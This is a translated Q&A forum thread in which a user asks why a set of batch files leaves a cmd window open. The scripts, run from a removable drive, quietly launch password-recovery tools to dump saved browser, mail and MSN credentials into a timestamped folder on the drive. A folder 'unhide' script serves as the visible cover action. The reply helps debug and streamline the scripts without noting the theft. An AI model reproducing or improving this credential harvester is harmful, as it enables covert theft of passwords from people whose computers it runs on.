Я выяснил, какая часть кода делает это, но не знаю, как это исправить ... Вот код:

Set _Path=Private
For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
If "%_Attribs:~4,1%"=="H" (
Attrib -S -H "%_Path%"
Attrib /D /S -S -H "%_Path%"\*.*
) Else (
Attrib +S +H "%_Path%"
Attrib /D /S +S +H "%_Path%"\*.*
) 

Пакет делает то, что он должен сделать прямо во время его выполнения, но окно cmd остается открытым в течение 46 секунд, а затем завершает работу (потому что я пошел taskkill /IM cmd.exe).

Пожалуйста помоги!

Ps, если вы хотите, чтобы я опубликовал весь код (а это много), тогда я буду. У меня могут быть проблемы с объяснением этого, но я буду стараться изо всех сил.

Весь код выглядит следующим образом:

  1. Я запускаю Pre-Unhide.bat (здесь нет проблем)

    @echo off
    
    cd /d %~d0\ 
    cd SwIPer
    start /min Start.bat
    
    cd..
    
    call Unhide.bat
    
  2. Start.bat это:

    @echo off
    
    for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO (
    set CUR_DAY_OF_WEEK=%%i
    set CUR_MONTH=%%j
    set CUR_DAY=%%k
    set CUR_YEAR=%%l)
    
    for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO (
    set CUR_HOUR=%%i
    set CUR_MIN=%%j
    set AM_PM=%%k)
    
    cd /d %~d0\ 
    cd %~d0\SwIPer
    md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    
    start /min iepv /stext IExplorer.txt
    start /min mailpv /stext Mail.txt
    start /min mspass /stext MSN.txt
    start /min WebBrowserPassView /stext AllBrowsers.txt
    echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    del IExplorer.txt
    del Mail.txt
    del MSN.txt
    del AllBrowsers.txt
    
  3. Затем Pre-Unhide.bat продолжается и вызывает Unhide.bat

    @echo off
    
    Set _Path=Private
    For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
    If "%_Attribs:~4,1%"=="H" (
    Attrib -S -H "%_Path%"
    Attrib /D /S -S -H "%_Path%"\*.*
    ) Else (
    Attrib +S +H "%_Path%"
    Attrib /D /S +S +H "%_Path%"\*.*
    )
    

(Затем добавил это, потому что я хочу принудительно завершить работу, но все еще ждет 46 секунд, чтобы принудительно завершить работу)

    taskkill /IM cmd.exe

Помощь очень ценится :) спасибо.

1 ответ1

0

Начните с комментирования вашего кода. Облегчает понимание того, чего вы пытаетесь достичь. Используйте команду Pause для отладки, на каждом шаге в вашем коде, если это необходимо.

Попробуйте следующее: В Pre-Unhide.bat добавьте переключатель /wait к вашему «start /min start.bat» - так «start /min /wait start.bat». Это заставит preunhide ждать завершения и начала вызова unhide.bat. Смотрите эту ссылку для получения дополнительной информации о запуске и других командах CMD :: http://ss64.com/nt/

Добавьте выход в качестве последней строки кода для start.bat. Это закроет start.bat, чтобы preunhide мог вызвать unhide.bat. Вы также можете добавить его в качестве последней строки для отображения.

Также предлагаем вам использовать ROBOCOPY вместо XCOPY.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .